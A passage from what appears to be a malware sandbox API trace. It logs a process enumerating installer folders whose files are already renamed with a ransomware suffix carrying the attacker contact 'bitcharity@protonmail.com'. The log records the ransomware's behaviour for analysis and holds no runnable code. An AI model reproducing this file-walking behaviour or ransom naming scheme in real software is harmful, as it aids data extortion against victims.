nFileSizeLow=0xf74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0241.873] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x315b4304, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x315b4304, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31ab5c12, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0241.873] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31411f34, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31411f34, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3158df3a, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0241.874] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31411f34, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31411f34, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3158df3a, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0241.874] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0241.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0241.875] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0241.875] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec3b0 [0241.876] FindNextFileW (in: hFindFile=0x6ec3b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.876] FindNextFileW (in: hFindFile=0x6ec3b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31a8fb46, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31a8fb46, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31fece17, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0241.877] FindNextFileW (in: hFindFile=0x6ec3b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31ab5c12, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31ab5c12, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31fece17, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0241.877] FindNextFileW (in: hFindFile=0x6ec3b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31439ace, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31439ace, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x314f6d52, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0241.877] FindNextFileW (in: hFindFile=0x6ec3b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31439ace, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31439ace, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x314f6d52, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0241.877] FindClose (in: hFindFile=0x6ec3b0 | out: hFindFile=0x6ec3b0) returned 1 [0241.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0241.878] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0241.878] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6eb8f0 [0241.879] FindNextFileW (in: hFindFile=0x6eb8f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.880] FindNextFileW (in: hFindFile=0x6eb8f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31adbf87, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31adbf87, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x326edf2e, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0241.880] FindNextFileW (in: hFindFile=0x6eb8f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31b74861, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31b74861, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x325705f2, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0241.880] FindNextFileW (in: hFindFile=0x6eb8f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31529ba3, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31529ba3, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x316007d1, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0241.880] FindNextFileW (in: hFindFile=0x6eb8f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31529ba3, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31529ba3, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x316007d1, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0241.880] FindClose (in: hFindFile=0x6eb8f0 | out: hFindFile=0x6eb8f0) returned 1 [0241.881] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0241.881] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0241.882] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebff0 [0241.883] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.883] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x327f8d0f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x327f8d0f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3297656d, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0241.883] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x327f8d0f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x327f8d0f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x329502eb, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0241.883] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31567b4e, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31567b4e, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3164cbae, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0241.883] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31567b4e, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31567b4e, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3164cbae, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0241.883] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0241.885] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0241.885] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0241.885] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec330 [0241.886] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.886] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x327d2b17, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x327d2b17, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3339b5ca, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0241.886] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x327f8d0f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x327f8d0f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x32929fea, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0241.887] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3158df3a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3158df3a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31a8fb46, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0241.887] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3158df3a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3158df3a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31a8fb46, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0241.887] FindClose (in: hFindFile=0x6ec330 | out: hFindFile=0x6ec330) returned 1 [0241.888] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0241.888] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0241.888] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6eba30 [0242.159] FindNextFileW (in: hFindFile=0x6eba30, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.159] FindNextFileW (in: hFindFile=0x6eba30, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x32929fea, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x32929fea, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x334802c1, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.159] FindNextFileW (in: hFindFile=0x6eba30, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x329502eb, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x329502eb, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3358b47f, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.160] FindNextFileW (in: hFindFile=0x6eba30, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31626a79, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31626a79, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31794acf, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.160] FindNextFileW (in: hFindFile=0x6eba30, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31626a79, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31626a79, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31794acf, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.160] FindClose (in: hFindFile=0x6eba30 | out: hFindFile=0x6eba30) returned 1 [0242.160] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.160] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0242.160] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6eb870 [0242.162] FindNextFileW (in: hFindFile=0x6eb870, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.163] FindNextFileW (in: hFindFile=0x6eb870, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3297656d, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3297656d, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3378c8e7, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.163] FindNextFileW (in: hFindFile=0x6eb870, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x333c175d, 